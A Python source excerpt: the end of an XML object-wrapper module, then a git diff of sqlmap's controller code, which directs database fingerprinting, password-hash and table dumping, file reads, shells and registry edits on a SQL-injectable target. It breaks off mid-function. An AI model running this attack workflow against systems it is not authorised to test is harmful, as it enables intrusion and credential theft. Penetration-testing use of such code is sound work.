|
||||
"""
|
||||
save this time, and all subsequent times, to filename 'path'
|
||||
"""
|
||||
self.path = path
|
||||
self.save()
|
||||
|
||||
def toxml(self):
|
||||
return self.dom.toxml()
|
||||
|
||||
def __len__(self):
|
||||
"""
|
||||
returns number of child nodes
|
||||
"""
|
||||
return len(self._children)
|
||||
|
||||
def __getitem__(self, idx):
|
||||
if isinstance(idx, int):
|
||||
return self._children[idx]
|
||||
else:
|
||||
return self._childrenByName[idx]
|
||||
|
||||
|
||||
class XMLNode:
|
||||
"""
|
||||
This is the workhorse for the xml object interface
|
||||
|
||||
(If you're viewing the epydoc-generated HTML documentation, click the 'show private'
|
||||
link at the top right of this page to see all the methods)
|
||||
|
||||
"""
|
||||
def __init__(self, parent, node):
|
||||
"""
|
||||
You shouldn't need to instantiate this directly
|
||||
"""
|
||||
self._parent = parent
|
||||
if isinstance(parent, XMLFile):
|
||||
self._root = parent
|
||||
else:
|
||||
self._root = parent._root
|
||||
self._node = node
|
||||
self._childrenByName = {}
|
||||
self._children = []
|
||||
|
||||
# add ourself to parent's children registry
|
||||
parent._children.append(self)
|
||||
|
||||
# the deal with named subtags is that we store the first instance
|
||||
# as itself, and with second and subsequent instances, we make a list
|
||||
parentDict = self._parent._childrenByName
|
||||
nodeName = node.nodeName
|
||||
if not parentDict.has_key(nodeName):
|
||||
parentDict[nodeName] = self._parent.__dict__[nodeName] = self
|
||||
else:
|
||||
if isinstance(parentDict[nodeName], XMLNode):
|
||||
# this is the second child node of a given tag name, so convert
|
||||
# the instance to a list
|
||||
parentDict[nodeName] = parent.__dict__[nodeName] = [parentDict[nodeName]]
|
||||
parentDict[nodeName].append(self)
|
||||
|
||||
# figure out our type
|
||||
self._value = None
|
||||
if isinstance(node, xml.dom.minidom.Text):
|
||||
self._type = "text"
|
||||
self._value = self._root.textfilter(node.nodeValue)
|
||||
elif isinstance(node, xml.dom.minidom.Element):
|
||||
self._type = "node"
|
||||
elif isinstance(node, xml.dom.minidom.Comment):
|
||||
self._type = "comment"
|
||||
self._value = node.nodeValue
|
||||
else:
|
||||
raise InvalidNode("node class %s" % node.__class__)
|
||||
|
||||
# and wrap all the child nodes
|
||||
for child in node.childNodes:
|
||||
XMLNode(self, child)
|
||||
|
||||
def _render(self):
|
||||
"""
|
||||
Produces well-formed XML of this node's contents,
|
||||
indented as required
|
||||
"""
|
||||
return self._node.toxml()
|
||||
|
||||
def __repr__(self):
|
||||
if self._type == "node":
|
||||
return "<XMLNode: %s>" % self._node.nodeName
|
||||
else:
|
||||
return "<XMLNode: %s>" % self._type
|
||||
|
||||
def __getattr__(self, attr):
|
||||
"""
|
||||
Fetches an attribute or child node of this tag
|
||||
|
||||
If it's an attribute, then returns the attribute value as a string.
|
||||
|
||||
If a child node, then:
|
||||
- if there is only one child node of that name, return it
|
||||
- if there is more than one child node of that name, return a list
|
||||
of child nodes of that tag name
|
||||
|
||||
Supports some magic attributes:
|
||||
- _text - the value of the first child node of type text
|
||||
"""
|
||||
#print "%s: __getattr__: attr=%s" % (self, attr)
|
||||
|
||||
if attr == '_text':
|
||||
# magic attribute to return text
|
||||
tnode = self['#text']
|
||||
if isinstance(tnode, list):
|
||||
tnode = tnode[0]
|
||||
return tnode._value
|
||||
|
||||
if self._type in ['text', 'comment']:
|
||||
if attr == '_value':
|
||||
return self._node.nodeValue
|
||||
else:
|
||||
raise AttributeError(attr)
|
||||
|
||||
if self._node.hasAttribute(attr):
|
||||
return self._node.getAttribute(attr)
|
||||
elif self._childrenByName.has_key(attr):
|
||||
return self._childrenByName[attr]
|
||||
|
||||
#elif attr == 'value':
|
||||
# magic attribute
|
||||
|
||||
else:
|
||||
raise AttributeError(attr)
|
||||
|
||||
|
||||
def __setattr__(self, attr, val):
|
||||
"""
|
||||
Change the value of an attribute of this tag
|
||||
|
||||
The magic attribute '_text' can be used to set the first child
|
||||
text node's value
|
||||
|
||||
For example::
|
||||
|
||||
Consider:
|
||||
|
||||
<somenode>
|
||||
<child>foo</child>
|
||||
</somenode>
|
||||
|
||||
>> somenode
|
||||
<XMLNODE: somenode>
|
||||
>> somenode.child
|
||||
<XMLNODE: child>
|
||||
>> somenode.child._text
|
||||
'foo'
|
||||
>> somenode._toxml()
|
||||
u'<somenode><child>foo</child></somenode>'
|
||||
>> somenode.child._text = 'bar'
|
||||
>> somenode.child._text
|
||||
'bar'
|
||||
>> somenode.child._toxml()
|
||||
u'<somenode><child>bar/child></somenode>'
|
||||
|
||||
"""
|
||||
if attr.startswith("_"):
|
||||
|
||||
# magic attribute for setting _text
|
||||
if attr == '_text':
|
||||
tnode = self['#text']
|
||||
if isinstance(tnode, list):
|
||||
tnode = tnode[0]
|
||||
tnode._node.nodeValue = val
|
||||
tnode._value = val
|
||||
return
|
||||
|
||||
self.__dict__[attr] = val
|
||||
elif self._type in ['text', 'comment']:
|
||||
self._node.nodeValue = val
|
||||
else:
|
||||
# discern between attribute and child node
|
||||
if self._childrenByName.has_key(attr):
|
||||
raise Exception("Attribute Exists")
|
||||
self._node.setAttribute(attr, str(val))
|
||||
|
||||
def _keys(self):
|
||||
"""
|
||||
Return a list of attribute names
|
||||
"""
|
||||
return self._node.attributes.keys()
|
||||
|
||||
def _values(self):
|
||||
"""
|
||||
Returns a list of (attrname, attrval) tuples for this tag
|
||||
"""
|
||||
return [self._node.getAttribute(k) for k in self._node.attributes.keys()]
|
||||
|
||||
def _items(self):
|
||||
"""
|
||||
returns a list of attribute values for this tag
|
||||
"""
|
||||
return [(k, self._node.getAttribute(k)) for k in self._node.attributes.keys()]
|
||||
|
||||
def _has_key(self, k):
|
||||
"""
|
||||
returns True if this tag has an attribute of the given name
|
||||
"""
|
||||
return self._node.hasAttribute(k) or self._childrenByName.has_key(k)
|
||||
|
||||
def _get_name(self):
|
||||
if self._type == "node":
|
||||
return self._node.nodeName
|
||||
else:
|
||||
return self._type
|
||||
|
||||
def _get(self, k, default=None):
|
||||
"""
|
||||
returns the value of attribute k, or default if no such attribute
|
||||
"""
|
||||
if self._has_key(k):
|
||||
return getattr(self, k)
|
||||
else:
|
||||
return default
|
||||
|
||||
def __len__(self):
|
||||
"""
|
||||
returns number of child nodes
|
||||
"""
|
||||
return len(self._children)
|
||||
|
||||
def __getitem__(self, idx):
|
||||
"""
|
||||
if given key is numeric, return the nth child, otherwise
|
||||
try to return the child tag (or list of child tags) having
|
||||
the key as the tag name
|
||||
"""
|
||||
#print "__getitem__: idx=%s" % str(idx)
|
||||
|
||||
if isinstance(idx, slice) or isinstance(idx, int):
|
||||
return self._children[idx]
|
||||
elif isinstance(idx, str):
|
||||
return self._childrenByName[idx]
|
||||
else:
|
||||
raise IndexError(idx)
|
||||
|
||||
def __contains__(self, k):
|
||||
return self._has_key(k)
|
||||
|
||||
def _addNode(self, child):
|
||||
"""
|
||||
Tries to append a child node to the tree, and returns it
|
||||
|
||||
Value of 'child' must be one of:
|
||||
- a string (in which case it is taken to be the name
|
||||
of the new node's tag)
|
||||
- a dom object, in which case it will be wrapped and added
|
||||
- an XMLNode object, in which case it will be added without
|
||||
wrapping
|
||||
"""
|
||||
|
||||
if isinstance(child, XMLNode):
|
||||
|
||||
# add it to our children registry
|
||||
self._children.append(child)
|
||||
|
||||
parentDict = self._childrenByName
|
||||
nodeName = child._node.nodeName
|
||||
|
||||
if not parentDict.has_key(nodeName):
|
||||
parentDict[nodeName] = parent.__dict__[nodeName] = child
|
||||
else:
|
||||
if isinstance(parentDict[nodeName], XMLNode):
|
||||
# this is the second child node of a given tag name, so convert
|
||||
# the instance to a list
|
||||
parentDict[nodeName] = self.__dict__[nodeName] = [parentDict[nodeName]]
|
||||
parentDict[nodeName].append(child)
|
||||
|
||||
# and stick it in the dom
|
||||
self._node.appendChild(child._node)
|
||||
|
||||
return child
|
||||
|
||||
elif isinstance(child, str):
|
||||
childNode = self._root.dom.createElement(child)
|
||||
self._node.appendChild(childNode)
|
||||
|
||||
elif isinstance(child, xml.dom.minidom.Element):
|
||||
childNode = child
|
||||
child = childNode.nodeName
|
||||
self._node.appendChild(childNode)
|
||||
|
||||
|
||||
return XMLNode(self, childNode)
|
||||
|
||||
def _addText(self, value):
|
||||
"""
|
||||
Tries to append a child text node, with the given text, to the tree,
|
||||
and returns the created node object
|
||||
"""
|
||||
childNode = self._root.dom.createTextNode(value)
|
||||
self._node.appendChild(childNode)
|
||||
return XMLNode(self, childNode)
|
||||
|
||||
def _addComment(self, comment):
|
||||
"""
|
||||
Tries to append a child comment node (with the given text value)
|
||||
to the tree, and returns the create node object
|
||||
"""
|
||||
childNode = self._root.dom.createCommentNode(comment)
|
||||
self._node.appendChild(childNode)
|
||||
return XMLNode(self, childNode)
|
||||
|
||||
def _save(self, where=None):
|
||||
"""
|
||||
Generates well-formed XML from just this node, and saves it
|
||||
to a file.
|
||||
|
||||
Argument 'where' is either an open file object, or a pathname
|
||||
|
||||
If 'where' is not given, then saves the entire document tree.
|
||||
"""
|
||||
if not where:
|
||||
self._root.save()
|
||||
else:
|
||||
self._root.save(where, self._node)
|
||||
|
||||
def _toxml(self):
|
||||
"""
|
||||
renders just this node out to raw xml code
|
||||
"""
|
||||
return self._node.toxml()
|
||||
|
||||
def _treeWalker(self, node, nodes):
|
||||
for child in node._children:
|
||||
if child._type == 'node':
|
||||
nodes.append(child)
|
||||
self._treeWalker(child, nodes)
|
||||
|
||||
def _toflat(self):
|
||||
ret = [self]
|
||||
self._treeWalker(self, ret)
|
||||
return ret
|
||||
|
||||
_name = property(_get_name)
|
||||
+2
-17
@@ -3,23 +3,8 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
|
||||
@@ -1,25 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
@@ -3,23 +3,8 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
|
||||
+49
-54
@@ -3,35 +3,21 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.controller.handler import setHandler
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import Format
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.data import paths
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.techniques.blind.timebased import timeTest
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
from lib.techniques.brute.use import columnExists
|
||||
from lib.techniques.brute.use import tableExists
|
||||
|
||||
def action():
|
||||
"""
|
||||
@@ -43,10 +29,10 @@ def action():
|
||||
|
||||
# First of all we have to identify the back-end database management
|
||||
# system to be able to go ahead with the injection
|
||||
conf.dbmsHandler = setHandler()
|
||||
setHandler()
|
||||
|
||||
if not conf.dbmsHandler:
|
||||
htmlParsed = getHtmlErrorFp()
|
||||
if not Backend.getDbms() or not conf.dbmsHandler:
|
||||
htmlParsed = Format.getErrorParsedDBMSes()
|
||||
|
||||
errMsg = "sqlmap was not able to fingerprint the "
|
||||
errMsg += "back-end database management system"
|
||||
@@ -59,65 +45,71 @@ def action():
|
||||
if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
|
||||
errMsg += ". Do not specify the back-end DBMS manually, "
|
||||
errMsg += "sqlmap will fingerprint the DBMS for you"
|
||||
elif kb.nullConnection:
|
||||
errMsg += ". You can try to rerun without using optimization "
|
||||
errMsg += "switch '%s'" % ("-o" if conf.optimize else "--null-connection")
|
||||
else:
|
||||
errMsg += ". Support for this DBMS will be implemented if "
|
||||
errMsg += "you ask, just drop us an email"
|
||||
errMsg += ". Support for this DBMS will be implemented at "
|
||||
errMsg += "some point"
|
||||
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
print "%s\n" % conf.dbmsHandler.getFingerprint()
|
||||
|
||||
# Techniques options
|
||||
if conf.stackedTest:
|
||||
dumper.string("stacked queries support", stackedTest())
|
||||
|
||||
if conf.timeTest:
|
||||
dumper.string("time based blind sql injection payload", timeTest())
|
||||
|
||||
if ( conf.unionUse or conf.unionTest ) and not kb.unionPosition:
|
||||
dumper.string("valid union", unionTest())
|
||||
dataToStdout("%s\n" % conf.dbmsHandler.getFingerprint())
|
||||
|
||||
# Enumeration options
|
||||
if conf.getBanner:
|
||||
dumper.string("banner", conf.dbmsHandler.getBanner())
|
||||
conf.dumper.banner(conf.dbmsHandler.getBanner())
|
||||
|
||||
if conf.getCurrentUser:
|
||||
dumper.string("current user", conf.dbmsHandler.getCurrentUser())
|
||||
conf.dumper.currentUser(conf.dbmsHandler.getCurrentUser())
|
||||
|
||||
if conf.getCurrentDb:
|
||||
dumper.string("current database", conf.dbmsHandler.getCurrentDb())
|
||||
conf.dumper.currentDb(conf.dbmsHandler.getCurrentDb())
|
||||
|
||||
if conf.isDba:
|
||||
dumper.string("current user is DBA", conf.dbmsHandler.isDba())
|
||||
conf.dumper.dba(conf.dbmsHandler.isDba())
|
||||
|
||||
if conf.getUsers:
|
||||
dumper.lister("database management system users", conf.dbmsHandler.getUsers())
|
||||
conf.dumper.users(conf.dbmsHandler.getUsers())
|
||||
|
||||
if conf.getPasswordHashes:
|
||||
dumper.userSettings("database management system users password hashes",
|
||||
conf.dbmsHandler.getPasswordHashes(), "password hash")
|
||||
conf.dumper.userSettings("database management system users password hashes",
|
||||
conf.dbmsHandler.getPasswordHashes(), "password hash")
|
||||
|
||||
if conf.getPrivileges:
|
||||
dumper.userSettings("database management system users privileges",
|
||||
conf.dbmsHandler.getPrivileges(), "privilege")
|
||||
conf.dumper.userSettings("database management system users privileges",
|
||||
conf.dbmsHandler.getPrivileges(), "privilege")
|
||||
|
||||
if conf.getRoles:
|
||||
conf.dumper.userSettings("database management system users roles",
|
||||
conf.dbmsHandler.getRoles(), "role")
|
||||
|
||||
if conf.getDbs:
|
||||
dumper.lister("available databases", conf.dbmsHandler.getDbs())
|
||||
conf.dumper.dbs(conf.dbmsHandler.getDbs())
|
||||
|
||||
if conf.getTables:
|
||||
dumper.dbTables(conf.dbmsHandler.getTables())
|
||||
conf.dumper.dbTables(conf.dbmsHandler.getTables())
|
||||
|
||||
if conf.commonTables:
|
||||
conf.dumper.dbTables(tableExists(paths.COMMON_TABLES))
|
||||
|
||||
if conf.getColumns:
|
||||
dumper.dbTableColumns(conf.dbmsHandler.getColumns())
|
||||
conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns())
|
||||
|
||||
if conf.commonColumns:
|
||||
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS))
|
||||
|
||||
if conf.dumpTable:
|
||||
dumper.dbTableValues(conf.dbmsHandler.dumpTable())
|
||||
conf.dumper.dbTableValues(conf.dbmsHandler.dumpTable())
|
||||
|
||||
if conf.dumpAll:
|
||||
conf.dbmsHandler.dumpAll()
|
||||
|
||||
if conf.search:
|
||||
conf.dbmsHandler.search()
|
||||
|
||||
if conf.query:
|
||||
dumper.string(conf.query, conf.dbmsHandler.sqlQuery(conf.query))
|
||||
conf.dumper.query(conf.query, conf.dbmsHandler.sqlQuery(conf.query))
|
||||
|
||||
if conf.sqlShell:
|
||||
conf.dbmsHandler.sqlShell()
|
||||
@@ -128,7 +120,7 @@ def action():
|
||||
|
||||
# File system options
|
||||
if conf.rFile:
|
||||
dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)
|
||||
conf.dumper.rFile(conf.rFile, conf.dbmsHandler.readFile(conf.rFile))
|
||||
|
||||
if conf.wFile:
|
||||
conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
|
||||
@@ -151,7 +143,7 @@ def action():
|
||||
|
||||
# Windows registry options
|
||||
if conf.regRead:
|
||||
dumper.string("Registry key value data", conf.dbmsHandler.regRead())
|
||||
conf.dumper.registerValue(conf.dbmsHandler.regRead())
|
||||
|
||||
if conf.regAdd:
|
||||
conf.dbmsHandler.regAdd()
|
||||
@@ -162,3 +154,6 @@ def action():
|
||||
# Miscellaneous options
|
||||
if conf.cleanup:
|
||||
conf.dbmsHandler.cleanup()
|
||||
|
||||
if conf.direct:
|
||||
conf.dbmsConnector.close()
|
||||
|
||||
+722
-286
File diff suppressed because it is too large
Load Diff
+416
-190
@@ -3,25 +3,12 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import re
|
||||
|
||||
from lib.controller.action import action
|
||||
from lib.controller.checks import checkSqlInjection
|
||||
from lib.controller.checks import checkDynParam
|
||||
@@ -29,57 +16,126 @@ from lib.controller.checks import checkStability
|
||||
from lib.controller.checks import checkString
|
||||
from lib.controller.checks import checkRegexp
|
||||
from lib.controller.checks import checkConnection
|
||||
from lib.controller.checks import checkNullConnection
|
||||
from lib.controller.checks import heuristicCheckSqlInjection
|
||||
from lib.controller.checks import simpletonCheckSqlInjection
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import getFilteredPageContent
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import intersect
|
||||
from lib.core.common import paramToDict
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import showHttpErrorCodes
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.convert import urldecode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import HTTPMETHOD
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.exception import exceptionsTuple
|
||||
from lib.core.exception import sqlmapNotVulnerableException
|
||||
from lib.core.exception import sqlmapSilentQuitException
|
||||
from lib.core.exception import sqlmapValueException
|
||||
from lib.core.exception import sqlmapUserQuitException
|
||||
from lib.core.session import setInjection
|
||||
from lib.core.target import createTargetDirs
|
||||
from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
|
||||
from lib.core.settings import REFERER_ALIASES
|
||||
from lib.core.settings import USER_AGENT_ALIASES
|
||||
from lib.core.target import initTargetEnv
|
||||
from lib.utils.parenthesis import checkForParenthesis
|
||||
from lib.core.target import setupTargetEnv
|
||||
from extra.pagerank.pagerank import get_pagerank
|
||||
|
||||
def __selectInjection(injData):
|
||||
def __selectInjection():
|
||||
"""
|
||||
Selection function for injection place, parameters and type.
|
||||
"""
|
||||
|
||||
message = "there were multiple injection points, please select the "
|
||||
message += "one to use to go ahead:\n"
|
||||
points = []
|
||||
|
||||
for i in xrange(0, len(injData)):
|
||||
injPlace = injData[i][0]
|
||||
injParameter = injData[i][1]
|
||||
injType = injData[i][2]
|
||||
for i in xrange(0, len(kb.injections)):
|
||||
place = kb.injections[i].place
|
||||
parameter = kb.injections[i].parameter
|
||||
ptype = kb.injections[i].ptype
|
||||
|
||||
message += "[%d] place: %s, parameter: " % (i, injPlace)
|
||||
message += "%s, type: %s" % (injParameter, injType)
|
||||
point = (place, parameter, ptype)
|
||||
|
||||
if i == 0:
|
||||
message += " (default)"
|
||||
if point not in points:
|
||||
points.append(point)
|
||||
|
||||
message += "\n"
|
||||
if len(points) == 1:
|
||||
kb.injection = kb.injections[0]
|
||||
|
||||
message += "[q] Quit"
|
||||
select = readInput(message, default="0")
|
||||
elif len(points) > 1:
|
||||
message = "there were multiple injection points, please select "
|
||||
message += "the one to use for following injections:\n"
|
||||
|
||||
if not select:
|
||||
index = 0
|
||||
points = []
|
||||
|
||||
elif select.isdigit() and int(select) < len(injData) and int(select) >= 0:
|
||||
index = int(select)
|
||||
for i in xrange(0, len(kb.injections)):
|
||||
place = kb.injections[i].place
|
||||
parameter = kb.injections[i].parameter
|
||||
ptype = kb.injections[i].ptype
|
||||
point = (place, parameter, ptype)
|
||||
|
||||
elif select[0] in ( "Q", "q" ):
|
||||
return "Quit"
|
||||
if point not in points:
|
||||
points.append(point)
|
||||
ptype = PAYLOAD.PARAMETER[ptype] if isinstance(ptype, int) else ptype
|
||||
|
||||
else:
|
||||
warnMsg = "Invalid choice, retry"
|
||||
logger.warn(warnMsg)
|
||||
__selectInjection(injData)
|
||||
message += "[%d] place: %s, parameter: " % (i, place)
|
||||
message += "%s, type: %s" % (parameter, ptype)
|
||||
|
||||
return injData[index]
|
||||
if i == 0:
|
||||
message += " (default)"
|
||||
|
||||
message += "\n"
|
||||
|
||||
message += "[q] Quit"
|
||||
select = readInput(message, default="0")
|
||||
|
||||
if select.isdigit() and int(select) < len(kb.injections) and int(select) >= 0:
|
||||
index = int(select)
|
||||
elif select[0] in ( "Q", "q" ):
|
||||
raise sqlmapUserQuitException
|
||||
else:
|
||||
errMsg = "invalid choice"
|
||||
raise sqlmapValueException, errMsg
|
||||
|
||||
kb.injection = kb.injections[index]
|
||||
|
||||
def __formatInjection(inj):
|
||||
data = "Place: %s\n" % inj.place
|
||||
data += "Parameter: %s\n" % inj.parameter
|
||||
|
||||
for stype, sdata in inj.data.items():
|
||||
data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
|
||||
data += " Title: %s\n" % sdata.title
|
||||
data += " Payload: %s\n\n" % sdata.payload
|
||||
|
||||
return data
|
||||
|
||||
def __showInjections():
|
||||
header = "sqlmap identified the following injection points with "
|
||||
header += "a total of %d HTTP(s) requests" % kb.testQueryCount
|
||||
data = ""
|
||||
|
||||
for inj in kb.injections:
|
||||
data += __formatInjection(inj)
|
||||
|
||||
data = data.rstrip("\n")
|
||||
|
||||
conf.dumper.technic(header, data)
|
||||
|
||||
def __saveToSessionFile():
|
||||
for inj in kb.injections:
|
||||
if inj.place is None or inj.parameter is None:
|
||||
continue
|
||||
|
||||
setInjection(inj)
|
||||
|
||||
def start():
|
||||
"""
|
||||
@@ -88,175 +144,345 @@ def start():
|
||||
check if they are dynamic and SQL injection affected
|
||||
"""
|
||||
|
||||
if conf.url:
|
||||
if not conf.start:
|
||||
return False
|
||||
|
||||
if conf.direct:
|
||||
initTargetEnv()
|
||||
setupTargetEnv()
|
||||
action()
|
||||
return True
|
||||
|
||||
if conf.url and not conf.forms:
|
||||
kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie ))
|
||||
|
||||
if conf.configFile and not kb.targetUrls:
|
||||
errMsg = "you did not edit the configuration file properly, set "
|
||||
errMsg += "the target url, list of targets or google dork"
|
||||
logger.error(errMsg)
|
||||
return False
|
||||
|
||||
if kb.targetUrls and len(kb.targetUrls) > 1:
|
||||
infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
|
||||
logger.info(infoMsg)
|
||||
|
||||
hostCount = 0
|
||||
cookieStr = ""
|
||||
setCookieAsInjectable = True
|
||||
hostCount = 0
|
||||
cookieStr = ""
|
||||
setCookieAsInjectable = True
|
||||
|
||||
for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
|
||||
conf.url = targetUrl
|
||||
conf.method = targetMethod
|
||||
conf.data = targetData
|
||||
conf.cookie = targetCookie
|
||||
injData = []
|
||||
try:
|
||||
conf.url = targetUrl
|
||||
conf.method = targetMethod
|
||||
conf.data = targetData
|
||||
conf.cookie = targetCookie
|
||||
|
||||
if conf.multipleTargets:
|
||||
hostCount += 1
|
||||
message = "url %d:\n%s %s" % (hostCount, conf.method or "GET", targetUrl)
|
||||
initTargetEnv()
|
||||
parseTargetUrl()
|
||||
|
||||
if conf.cookie:
|
||||
message += "\nCookie: %s" % conf.cookie
|
||||
|
||||
if conf.data:
|
||||
message += "\nPOST data: %s" % conf.data
|
||||
|
||||
message += "\ndo you want to test this url? [Y/n/q]"
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test:
|
||||
pass
|
||||
elif test[0] in ("n", "N"):
|
||||
continue
|
||||
elif test[0] in ("q", "Q"):
|
||||
break
|
||||
|
||||
logMsg = "testing url %s" % targetUrl
|
||||
logger.info(logMsg)
|
||||
|
||||
parseTargetUrl()
|
||||
createTargetDirs()
|
||||
initTargetEnv()
|
||||
|
||||
if not checkConnection() or not checkString() or not checkRegexp():
|
||||
continue
|
||||
|
||||
if not conf.dropSetCookie:
|
||||
for _, cookie in enumerate(conf.cj):
|
||||
cookie = str(cookie)
|
||||
index = cookie.index(" for ")
|
||||
|
||||
cookieStr += "%s;" % cookie[8:index]
|
||||
|
||||
if cookieStr:
|
||||
cookieStr = cookieStr[:-1]
|
||||
|
||||
if "Cookie" in conf.parameters:
|
||||
message = "you provided an HTTP Cookie header value. "
|
||||
message += "The target url provided its own Cookie within "
|
||||
message += "the HTTP Set-Cookie header. Do you want to "
|
||||
message += "continue using the HTTP Cookie values that "
|
||||
message += "you provided? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
setCookieAsInjectable = False
|
||||
|
||||
if setCookieAsInjectable:
|
||||
conf.httpHeaders.append(("Cookie", cookieStr))
|
||||
